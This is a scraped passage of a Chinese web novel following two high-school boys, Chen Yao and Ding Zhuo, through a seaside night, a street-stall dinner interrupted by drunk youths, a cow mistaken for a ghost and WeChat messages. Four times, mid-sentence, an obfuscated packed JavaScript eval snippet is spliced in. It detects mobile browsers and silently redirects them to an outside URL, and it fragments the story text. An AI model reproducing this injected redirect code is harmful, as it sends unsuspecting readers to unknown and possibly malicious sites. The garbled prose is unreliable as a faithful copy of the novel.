“哦。”陈遥说,“你就是在嘲笑我。” 丁卓:“……” “也不能算嘲笑。”丁卓解释,“程度没有那么严重,就是觉得你挺有意思的。” 陈遥:“……” 没边界感的死小子。 不想搭理他。 . 说是不想搭理,其实还是和丁卓两个人并肩走下沙堤,靠近海边,离得越近,蓝眼泪看起来就越清晰。 浪花间的蓝带着梦幻般的细碎闪光,浪潮拍打海岸,把闪烁的蓝光留在沙滩上,又被拍上来的下一次浪花带走。 海面上也有蓝眼泪。浪花冲起来时,水流变动剧烈,蓝眼泪才会发光。所以光芒把浪花分成了清晰的层次,一荡接着一荡。 大海真是很奇妙的存在。 只是站在这里看着层层浪涌,听着亘古不变的潮声,心绪就会宁静下来。 至少在这短暂的时刻里,就连他弟去上了省实验,占了他的名额这种终极恶心事,陈遥都能觉得去他的吧。 他知道明天想起来还是会烦,但至少此时此刻,去他的。 . 陈遥不知道自己确切站在这里看了多久,但怎么说也有个十几二十分钟。 因为旁边的游客陆陆续续都拍完照玩好了,准备回去,他才意识到好像挺长时间过去了。 丁卓一直站在旁边,很安静地跟陈遥一起看。 直到陈遥的视线过来,丁卓问:“好看吗?” “很好看。”陈遥说,“你呆在这儿会不会无聊?” “不会。”丁卓说。 “我想虽然很好看,但你应该看过很多次了。”陈遥说。 “海看多少次都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883309|176391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会厌。”丁卓说。 “也是。”陈遥想了想表示赞同。 有风吹过,是夏天很少有的带凉意的风,陈遥穿得单薄,下意识缩了缩脖子。 “冷吗?”丁卓问。 “一点点。” “手头也没外套。”丁卓思索了下,“我去给你找一件?” “不用不用,多麻烦啊。”陈遥赶紧阻止,“算了,要不我们回去吧,感觉又快要下雨了。下雨骑那段路好像有点可怕。” “也是。”丁卓说,“那撤吧。” 往停车的方向走,陈遥突然想起什么,他戳了戳丁卓:“哎。” 丁卓回过头。 “那个……要是你不急着回家,我请你吃个饭?”陈遥说。 丁卓一愣。 丁卓这个反应让陈遥突然有点尴尬,觉得自己很蠢,好像做了超过社交距离的举动。 他立刻解释:“我看你过来之后一直没吃东西,今天白天你应该挺辛苦,而且你还帮了我很多……没事,不方便就算了,你当我随口一说吧。” “没不方便,就是我都忘了,中午到现在我都没吃过饭。”丁卓说,“你不说我还没觉得,你一说我倒是真饿了。” 本来挺尴尬的,丁卓这么说,陈遥心里又轻松了。 陈遥展颜一笑:“那咱们去哪儿?这边我完全不认识。” “镇上有个大排档还可以,而且开到很晚。”丁卓想了想,又问,“你是大城市来的,能吃大排档吗?” “当然能了。”陈遥惊讶地反问,“大城市来的不配吃大排档是吗?” “……”丁卓笑起来,“我就是说,大排档的环境和餐厅比肯定差点意思。” “无所谓的。”陈遥说,“你不要把我想的那么娇贵好么。” “好好好。”丁卓又笑了笑,“走吧。” —— 从一个“镇”的角度来看石浦其实还是挺繁华的,中心区域的商场大楼灯火辉煌,省城有的网红店这边全部都有。 陈遥叔叔家在村子里,虽然离镇上不远,但坐公交也要二十分钟,陈遥过来之后,读书读得专心,自然没有来过。 偶尔过来,居然有“进城了”一样的感觉。 丁卓说的大排档在中心区后面不远处,一条很小的街上。 这里一整条街都是看起来很像黑店的餐饮店,招牌油腻腻的,灯光阴惨惨的,连路灯都坏了一半。 在这条街上吃饭的都是成群结伴的人,陈遥估计自己一个人绝对不会往这条街上拐。 丁卓选的那家店在街尾,非常的简陋,几个支起来的大雨棚就算是店面,里面摆着廉价的白色塑料圆桌和扶手椅,但是整个街上生意最好的店面,雨棚里面坐了很多桌。 老板显然是认识丁卓的,远远看到就冲他打招呼。 看到丁卓身边的陈遥,老板笑呵呵地问:“又带你同学来?” 丁卓“嗯”了一声。 哟。 陈遥心想,你同学挺多啊。 11. 【十一】 “今天吃什么?”老板问。 “炒个鱼子,干锅鸡,冬瓜车白汤,大可乐。”丁卓连菜单都不用看,熟门熟路地点。 “好嘞!可乐自己拿!”老板比了个OK的手势,飞快转身进后厨,还不忘冲第一次来的陈遥露出格外友善的微笑,“找地方坐哦!” . “你能吃辣吗?”丁卓问。 得到陈遥“可以”的答复后,丁卓又给老板补了一句“加辣”。 陈遥:? “我说的是可以吃辣,不是超级能吃辣。”陈遥指出。 “这家不是特别辣,主要是必须得加辣才好吃,味道不是一个档次的。”丁卓说,“你试试吧,接受不了咱们再吃别的,这顿我请你。” 他这么笃定,陈遥也就暂且信他一手。 这几个菜上的都快,三个菜满满当当摆了一桌。 一大碗冬瓜车白汤是清淡口味,车白就是类似花甲的贝壳,和冬瓜一起烧汤,汤色奶白。 鲜椒鱼籽、干锅鸡两个是重口味菜,辣椒和泡椒酸辣的香气混合在一起,呛得陈遥打了个喷嚏,但还真得承认,单是闻这个味道就胃口大开。 “我去盛米饭。”丁卓站起身。 . 很快丁卓端着两碗饭回来,他去盛饭的时候陈遥就顺便把饮料倒好,回来两人碰了下杯就开吃。 陈遥先试了下鱼籽,果然像丁卓说的一样,浓郁的鲜辣味在口腔爆开,带来极为惊艳的味蕾刺激。 不过辣也是真辣,陈遥连着来了几筷子,嘴巴已经发麻,赶紧又扒饭。 “还可以吗?”丁卓问。 “好吃。”陈遥急着吃饭,含糊不清地夸奖。 “你能吃得惯就好。”丁卓说,“我们这边做菜都糙,你要不习惯我们就换一家吃。” “……”陈遥实在懒得纠正他这些莫名其妙的脑补,直接用猛猛干饭回应质疑。 菜又好吃辣味又重,结果就是特别下饭。一碗米饭很快就吃完了,陈遥问丁卓:“你刚刚在哪儿盛的饭?” 丁卓指了下雨棚后面,后厨那方向:“那边。” 陈遥又问,“你还要不要米饭?” “好。”丁卓说,“谢谢。” 上次和丁卓一起吃饭还是在食堂,有人来找茬那次。 当时丁卓吃饭吃得很少,陈遥都有点担心他是不是身体不好,不过这次看下来这个人饭量挺正常,单纯是那天没有食欲。 米饭放在后厨边的一张小木桌上,用一个大电饭煲盛着,热气腾腾的米香味很浓郁,饭碗就摞在旁边,是高高的一叠塑料小碗。 陈遥正要去拿,听见外面有人说:“你干什么呢?” 那人的语气挺不客气,陈遥一开始也没觉得是在说自己,毕竟他只是拿个碗,但是随着他伸手那边又有人说:“大哥不让你拿,听不懂人话?” 陈遥回过头。 . 离他不远处,雨棚外面的马路上站着三个男生,都穿着另一个颜色的校服裤子,站在最前面的那个梳着刺头,鼻子侧面还打了两颗钉,脸很红,很明显他是喝多了。 这种场面陈遥还是第一次遇见,他有点紧张,用对流浪狗的态度思考要怎样才能在不引起这三人攻击性的前提下全身而退。 但是对方显然比流浪狗的攻击性强一点,看陈遥没说话,刺头又往前走了一步,“你不说话什么意思?看不起我?” 陈遥不知道怎么处理这种情况,但他并不算特别紧张,因为他看见丁卓已经往这边走了过来。 在这类情况下,他毫无理由地很信任丁卓。 刺头看陈遥还不说话,径直走了过来,伸手就来抓陈遥的衣领,陈遥稍稍偏开头闪开,他虽然没打过架,但体育还算不错。 刺头这辈子不知道打过多少场架,这一抓很自信能直接把陈遥拎起来,没想到居然抓空了。 他勃然大怒,又一次伸手去抓陈遥,但这次却连手都没能伸过去。 丁卓一个箭步过来,紧紧抓住了刺头的手腕。 “冷静点。”丁卓看着刺头,“别做让自己后悔的事。” . 刺头看丁卓的第一眼很是不服,他根本没搭理丁卓,直接想把手从丁卓手里抽出来,但是他一使劲居然没抽动。 刺头更不服了,再一使劲,可他脸都涨红了,丁卓手还是攥得纹丝不动,只有手腕因为用力爆起很明显的筋。 刺头只能服软:“你松手。” “那你别乱来。”丁卓警告。 “操!我知道!”刺头烦躁地吼了一声。 和刺头的暴躁形成鲜明对比的是丁卓此刻的冷静,他松开手,但依然看着刺头,刺头身后的两个小弟一瞬间围过来,但他们也不敢对丁卓动手,只是在老大身边虚张声势。 “喝多了就回去醒酒,大晚上的少在外面游神。”丁卓看着刺头。 “行。旗手哥都发话了,我们还能说不行么。”刺头阴阳怪气地答应着,冲两个小弟一招手,“走。” 丁卓盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883310|176391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那三个人,直到他们走得很远,彻底看不见了,才转回头来对陈遥说:“不好意思,吓着你了吧。” “还行。”陈遥这会儿已经冷静下来了,“那个刺头你认识?” “他是职校的。”丁卓说,“他们平时就比较混,喝了酒更爱闹事。不过他们被扫荡了几次之后不敢往大街上去。你一个人别来美食街这边就行了,遇不着他们。” “好。”陈遥笑了笑。 “真的对不起。”丁卓说,“要不咱们走,我再找地方请你吃点别的吧?” “其实在经历过年三十我爸突然带着他的小三和小三的儿子回来,告诉我这是我的新家人这种事之后,我觉得几个小混混根本影响不到我吃饭的心情。”陈遥说,“你要是不介意的话,就再吃一会儿。” 丁卓也笑了笑:“行。” . “对不起。” 陈遥刚夹了一口鱼籽,冷不丁听见丁卓这么一句,人都愣了。他诧异地看着丁卓:“对不起什么?你刚刚就在说对不起了。” “我感觉你来了这儿以后就很倒霉,总遇上一些乱七八糟的人。”丁卓说,“我就觉得很抱歉。” “那他们是你安排的吗?”陈遥问。 “啊?”丁卓那张英俊的脸上出现无比错愕的神情,“怎么可能?当然不是。” “所以你道什么歉。”陈遥又夹了一口鸡块,“又不是你的问题。” “啊……”丁卓愣了下,终于转过这个弯来,笑了,“你是这个意思啊。我就是觉得,我要是不带你来这儿就好了。” “别胡思乱想。”陈遥说,“跟你又没关系,就是今天倒霉。而且,要是刚才你没注意到,我才是真的倒霉。” “但这地方本来就比其他地方乱一点。”丁卓说,“咱们去商场随便找家店吃饭的话,就不会有这么多事了。” “哎呀,不就是吵两句嘴的事儿么,换一顿这么好吃的饭也不亏。吃饭吧,哪儿没有街溜子啊。”陈遥拿着个空碗,在盛汤。 丁卓说:“但是让你遇到就……很不好。” “好了好了,不要这么矫情。”陈遥笑笑,把那碗汤放到丁卓面前,“你别误会,我真不是那么金贵的人哈。” 车白汤在灯光照射下泛着晶莹的油光,那盏灯就在陈遥头顶,也照着陈遥的脸。柔和的暖黄灯光映得他眼睛亮闪闪的,皮肤尤其的白。 丁卓看着陈遥因为刚刚吃了辣而泛着红的鼻尖和嘴唇,垂下眼。 心想,这还不金贵么。 12. 【十二】 这顿饭最后丁卓还是坚持付钱,理由是“遇到突发情况,不付钱心里过意不去”。 陈遥拗不过他,只能问:“不是说好我请你吗?” “下次吧。”丁卓说。 行吧那就下次。 吃饭时下了点雨,不过吃完饭出来雨就停了,还算不错。 “你认识路吗?”丁卓问,“这么晚了,我送你回去吧。” “我确实不太敢一个人回去,但是这车要怎么还?”陈遥问。 他们是骑电动车过来的,但电动车是在面馆附近的车行租的。 “就算我晚上停家里,改天还是得骑回去,太麻烦了。”陈遥说。 “我有空帮你骑回去。”丁卓说。 “别别别。”陈遥赶紧摆手,这样就给丁卓添了太多不必要的麻烦了。想想他看了眼表:“这个点车行关门了吗?” “还车点是24小时自动的,锁进去就行了。”丁卓说,“你想现在去还车?” “嗯。”陈遥说,“还完车咱们打车,各回各家好了。” “也行。”丁卓想了想,“你们学圣的脑子好像是比较灵光。” 。 陈遥也不知道他从哪儿学来的“学圣”这破词,但很自然地反击:“你们风云人物的也不差。” 丁卓:“……” . 石浦二中的学圣和风云人物就这么骑着车,从镇上往海边的租车行赶,这条路比看蓝眼泪的那条路阳间多了,至少没有树林和让人产生很多恐怖幻想的影子。 不过路上还是空无一人,路灯也是远远的。 两边都是农田,偶尔能看到田边的几个老屋漆黑的剪影。 而且陈遥骑着骑着,就觉得不大对劲。 很玄学的那种。 这条路上风很大,陈遥从电瓶车把手上面那个眼镜片似的小圆镜里往后瞄了很多次。 他不敢多看,但还是看得越来越清晰,后背也逐渐发毛。 “丁卓!”陈遥喊。 骑车的风声很响,第一声丁卓还没听见,陈遥只能放大了声音又喊:“丁卓!丁卓!” “怎么了!”丁卓终于有回应了。 “你们这儿有没有那种传说!”陈遥问。 前面丁卓的车速慢了下来,等陈遥过去与他齐平,丁卓问:“哪种?” “就是……”陈遥心虚地又瞄了一眼电瓶车的后镜,小声说,“鬼啊、神啊的那种。” “啊?”丁卓惊讶地笑出声,他看了一眼陈遥,“你还信这种东西?你不应该是相信科学的坚定无神论者吗?” “……” 陈遥确实是。 问题是。 “你别回头。”陈遥压低了声音,轻轻地说,“你从车后镜里看,咱们后面大概几十米那地方。” 丁卓被他说的云里雾里,顺着他往后视镜看了一眼。 丁卓:“……操。” “你现在明白了吧。”陈遥小声说。 一个无神论者会问出“你们这里有没有鬼”,那才说明,这事情是真的可怕了。 . 后视镜里看过去,乡道和两边的农田都是漆黑,视野里只有一点路灯的幽光。他们来的路上有个转弯,就在转弯那个位置,不远不近的,飘着半张惨白的脸。 那半张脸凌空飘着,看上去不像人脸,但有眼睛有鼻子有嘴,绝对不是看错。 “没有闹鬼的传说,这地方近些年也没有凶案。”丁卓说,感觉得出他也紧张,声音比平时沉一点儿,“但那东西看起来确实瘆人。要不……咱们快走吧?” “我倒是觉得,要不咱们干脆过去看看。”陈遥说。 “过去看看?”丁卓吓了一跳,“你认真的?” “不搞清楚是什么,估计这辈子睡不着觉了。”陈遥说,“而且从玄学来说,咱们都走这么远了它还在,要真是那种东西都已经缠上咱们了吧。总之不管从哪个角度,都是回头比较好。” 丁卓难以置信地看着陈遥,最后一咬牙:“行,听你的。” . 被那张白脸跟在后面心里虚得要命,迎面走过去反倒有了莫名的底气。 陈遥咬紧了牙关,心里在想如果真发生什么他要怎么反打、怎么逃生,那张白脸则还是匀速往前飘着,两边一瞬间就打上了照面。 陈遥:“……” 半张白脸确实是不假,但是半张白脸旁边,还有半张黑脸,和一整个黢黑的身体。 这根本就是一头阴阳脸的牛。 这一带是农田,石浦的田地规模普遍不大,用很多耕牛。 因为本地都是熟人,牛常常散养在外面,这头牛估计也就是附近农田里的,闲的没事上了公路,倒是把陈遥和丁卓吓得不轻。 陈遥、丁卓和牛六只眼睛相对,那头牛长得吓人性格倒是很温顺,看了看陈遥和丁卓,转过身下了公路,往农田里去了。 牛:“哞。” 陈遥:“……” 丁卓:“……” “什么啊!”陈遥喊了一句,“我怎么像个瞎子啊!” “我也没好到哪去。”丁卓说。 两个人对视着忽然就笑起来,紧绷的弦终于松下来,笑得根本停不住。 那头牛频频回头,看了他们好几眼,好像在确定两脚兽会不会突然暴起伤牛。 笑够了,丁卓突然问:“所以你最开始就相信它不是鬼,对吧?” “差不多吧。”陈遥说,“主要是害怕到一定程度就变成生气了,你知道吧,生气了就非要弄清楚那到底是什么东西。” “很帅。”丁卓说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883311|176391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “?”陈遥突然有点不好意思。 长这么大因为长相被说帅已经不知道多少次,但因为行事风格被夸帅还是第一次。他清了清嗓子,“谢谢。” 丁卓笑了笑,顺手抽了支烟出来,正要点上,想起旁边的人不抽烟,又把打火机放了回去。 “你抽吧没事。”陈遥说,“我爸以前天天在我边上抽,我都习惯了。” “你爸这么……”丁卓谨慎地挑选了一下措辞,“这么不当人吗?” “他在谁面前都这样,也不是针对我,当着他的新家庭他照抽不误。”陈遥笑了笑,“无所谓,习惯了。” “那我更不抽了。”丁卓直接把夹着的烟揣回去了,“我不要跟他一样。” . 回到租车行,把电动车还了。本来是两人各自叫车,结果还出了状况。 陈遥的打车单子发是发出去了,半天都没人接。丁卓凑过来看了看:“应该是因为你终点在村子里,现在太晚了,送了你没有回镇上的单子,谁都不想空跑。” “这还真是第一次遇到,那怎么办。”陈遥叹了口气,“你也没车接单吗?” “我肯定有啊,我住在镇上。”丁卓说,“我是准备等你打到车我再打的,要不这会儿我都到家了。” “那不会到了明天早上咱俩还站在这儿吧?”陈遥说。 “应该不至于吧。”丁卓嘴上这样说,脸上神情却很动摇。 他又想了想,“这样吧,我打车去镇上,你跟我一起走,到时候让司机先送你过去,再送我回镇上,这样肯定有人接单的。” 果然,丁卓发的单子不出半分钟就有人接了,上车之后丁卓就跟司机商量,“师傅,能不能先送我们到小石村那边再去目的地?” “没问题。”司机当然乐意多赚点儿,“你自己加个途径地就行。” . 总算能回去了。 陈遥坐进车里,才发觉自己这一晚上有多累,腰一挨到柔软的车座,不舒服的感觉后知后觉全涌上来了。 他靠着车后座休息了一会儿,发现坐在旁边的丁卓不知什么时候已经睡着了。 仔细一想,这人白天在迎神仪式上当旗手,下午到他店里帮忙煮面,晚上还骑车带他去找蓝眼泪,又骑车回来。 牛都不带这么辛苦的。 一直到车停在陈遥叔叔家的村口,刹车时轻微颠簸,丁卓抬起眼皮,迷茫了一瞬,随即往陈遥这边看了过来。 陈遥本想不打扰丁卓悄悄下车的,和丁卓漆黑的眼珠对上视线,他笑了下说:“我到家啦,车费等下我转给你。” 夜色已经很深,丁卓睡得有点蒙,他缓了好几秒才想起现在是个什么状况:“行。” 想了想,丁卓又递过手机:“那你加下我微信吧。” 13.【十三】 陈遥早就在班级微信群里看过丁卓的微信了,但是他没主动加。 其实还挺想加的,但没有合适的理由。 现在倒好,顺水推舟就把微信加上了。 丁卓的微信内容很简单,也不是bking式的高冷,就是单纯发的很少,字也很少。 一般都是一张随手拍但还算好看的海景,或者篮球场,配字基本就是“好大的雨”“热”“累晕”等等。 可以说是非常随性地在记录生活了。 陈遥把丁卓的朋友圈都翻了一遍,但是没点赞,问就是要面子。 . 跟丁卓去夜市之前,陈遥已经给叔叔说过会晚回来。 叔叔婶婶的作息是非常标准的早睡早起,陈遥回来时他们都已经关灯睡觉了。但是在院子里给陈遥留了一盏灯。 小小的灯,是灯笼造型,很漂亮,像是过年在集市上买的,暖暖的很有家的感觉。 陈遥给叔叔发了条消息说到家了,蹑手蹑脚地钻进自己屋子,与此同时他注意到他爸发来了一条新消息。 仔细看看其实是几个小时前发的了,只是他一直没注意。 -【从你叔叔处得知,期末刚考完你已松懈,甚至夜不归宿。省城与石浦差异巨大,只是我没想到你这么快已经堕落。自己反思。】 反思个**。 陈遥面无表情地把陈树科划掉,想了想干脆把聊天记录也删了。 聊天框刚删掉,屏幕上面又弹出来一条消息提示,陈遥差点就直接开骂,定了定神发现这条消息不是他爸发来的,是丁卓。 陈遥:。 好险。 -【丁卓:到家了】 -【陈遥:ok】 -【陈遥:车费多少?】 丁卓那边截图了车费订单过来,问陈遥要了三分之一,陈遥转了一半。 -【丁卓:…】 丁卓好像很少在这种人情来往上拉扯,他利落地点了收款。 -【丁卓:睡了,早点休息,晚安。】 -【陈遥:我也睡了,晚安~】 陈遥倒是没真睡,他洗了个澡,洗完澡稍微看了会儿漫画。 这本漫画他从高二下学期一开始就在追了,追到期末考完都没看完,真的很忙,没有很多看课外书的时间。 睡前又刷了下朋友圈,发现丁卓发了新朋友圈。 一张站在沙滩边拍的蓝眼泪。 配的文案是:累死。但又挺好。 陈遥:“……” 确实是非常随性地记录生活的小男生一枚哈。 林源源和杜英杰都点赞了,陈遥觉得自己只看到两个赞应该是因为班上他只有这两个人的好友。 杜英杰在下面发表了一大长串的评论,赞美丁卓拍摄的夜景,以及他在迎神仪式上的英姿。 陈遥本来想点赞,突然想起来什么,又返回去看了一下发布时间。 果然,这条朋友圈是发在说晚安以后。 突然不想点赞了。 甚至很想私聊一句“不是睡了么”,但陈遥仔细一想,自己刚才也发了一句“我也睡了”。 得,大哥别说二哥。 这次是真睡了。 —— 期末考完之后,有个三天的短假期,这时间就是用来给老师阅卷,之后还要回学校再上几天的课。 当然对三班同学来说,这就是[叽里咕噜说什么呢,放暑假了.jpg] 陈遥慢慢看明白了,三班主要有三个小团体,这里的小团体不是互相敌对的意思,就是这一波人玩得比较好,经常互相叫着一起出去玩,小团体之间也有不少重合的人。 杜英杰、林源源,分别是其中两个小团体的关键人物,另外一个小团体陈遥不太熟,但三个小团体的小群都拉了陈遥。 陈遥看了下,里面还是有一些重复的人,而且三个群里面都有丁卓。 几天下来,三个小群,再加上班级大群里聊得都热火朝天。 有人考完试直接出去玩了,现在已经在发大草原的照片,更多人留在镇上,结伴去玩水、打球、打游戏,甚至还有人偷偷溜进电子游艺厅,更夸张是有组队去唱K的,也不知道他们是怎么进去。 整个儿就是一个同龄人多姿多彩的生活。 另一边,以梁轩为代表的省实验同学的朋友圈里,除了考试就是卷子,再不然就是竞赛讲座。 同样是高考前的最后一年,二中和省实验的同学呈现出截然相反的生活状态。也许一辈子都不会有交集。 三班同学出去玩,当然也叫了陈遥,只是陈遥都拒绝了。 陈遥不是不想出去,在这个年纪很难有人完全不贪玩,但他确实是怕,他不敢玩。 因为陈遥心里憋着口气,到高考时他要打陈树科的脸。 不是威胁他回不去省实验吗?不是干脆放弃他的名额吗? 说得好像把路断了他就废了一样。 陈遥从梁轩那边问到省实验的暑期作业,顺便交流了下考试情况。省实验的判卷速度比二中快很多,期末考完,过了一个周末成绩已经全出来了,梁轩考了年级第15,680多分,他自己还挺满意的。 “你考了多少?”梁轩问。 “还没出分呢,得后天。”陈遥说,“不过应该还行。” “那我跟你说个好消息。”梁轩说。 “请讲。” “你那个弟弟没分进我们班,而且他期末就考了610多分,平均分都没到。”梁轩说,“你知道吧,咱们年级十个班,咱们十班和九班是最快的尖子班,你弟分班考没考进快班,只进了普通班,分到四班去了。” 这确实是个大快人心的消息。 尤其当梁轩说到陈树科还去过学校,好像想要交钱给陈遥他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885436|176391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟插班,但是被老师严词拒绝时,陈遥脱口而出:“这么爽!” “那是爽得不行啊!”梁轩喊道。 . 返校前这几天,陈遥就做省实验那边过来的卷子,沉着心做了三天。 窗外的鸟鸣啁啾,陈遥偶尔出门,屋外暑气氤氲,树叶被蒸得绿到发亮,没精打采地垂着头。 陈遥也就只是稍微活动一下筋骨,就赶紧缩回房间里贪凉。 他本来想帮忙叔叔看店,但叔叔这两天不太忙,就让陈遥呆在家里好好学习,放暑假了再来。 陈遥偶尔的娱乐活动就是睡前看一两页漫画,然后就困得眼睛都睁不开,“咕咚”一头睡倒。 还有一次是看到群里发的迎龙王活动的视频,想到有丁卓,他就点开看了。 非常热闹的游神现场,海边天难得的晴,敲锣打鼓放炮,再加上音乐,极其热闹。 龙王是两三米高的巨大神像,神袍颜色瑰丽,造型夸张,一出现就是所有人视线的焦点。 龙王身后跟着很多人,左右跟着举伞的、打扇的十来个人,陈遥大概了解过,这些人都是龙王的小兵小将。 而唯一站在前面,执旗给龙王开路的少年,就是丁卓。 开路时要跳一段舞蹈,象征着驱逐海中妖魔,还要攀到高处的旗杆上挥舞大旗,象征着攀登潮头。 丁卓穿的一身黑金配色,修身的短打衣袍勾勒出他修长的身形,他的体态也非常好看。 这种天气站着不动都要出汗,更别提跳舞,汗珠顺着丁卓的头发滴下来,比平时看上去更有吸引力。 到最后有一个非常有难度的动作,丁卓要飞快地冲到旗杆上去。 虽然那根旗杆有攀爬架,丁卓也绑着绳子,但高处杆头被风吹得摇晃,看得陈遥手心都捏着一把汗。 还好,一路没有出任何差错,这套动作丁卓应该排练过几百几千遍。 冲到杆顶展开大旗时,下面的人爆发出激烈的欢呼尖叫声,随后他轻盈地下杆,将主场交给龙王。 后面还有很长的以龙王为主角的仪式,陈遥就没有再看了。 他对这种民俗活动本身兴趣不大,只是想看看丁卓在这里到底是什么样子。 . 很快到了返校日。 进入七月,天气已经热得不像样子,还好再坚持几天就放暑假。 穿过熟悉的飞鸟路,沿着小街走到凤凰花树下,进了学校,右手边的荣誉屏让陈遥猛地一个急刹车。 巨大的,可以称得上是锦旗一样的大海报。 红底黑字,醒目地张贴在荣誉栏里。 那架势恨不得每进来一个人,海报都要扇扇翅膀糊到他的脸上去。 海报上的内容是: -【祝贺高二(3)班陈遥同学,在学期末全市统考中,取得超级无敌顶尖的好成绩!】 陈遥:……?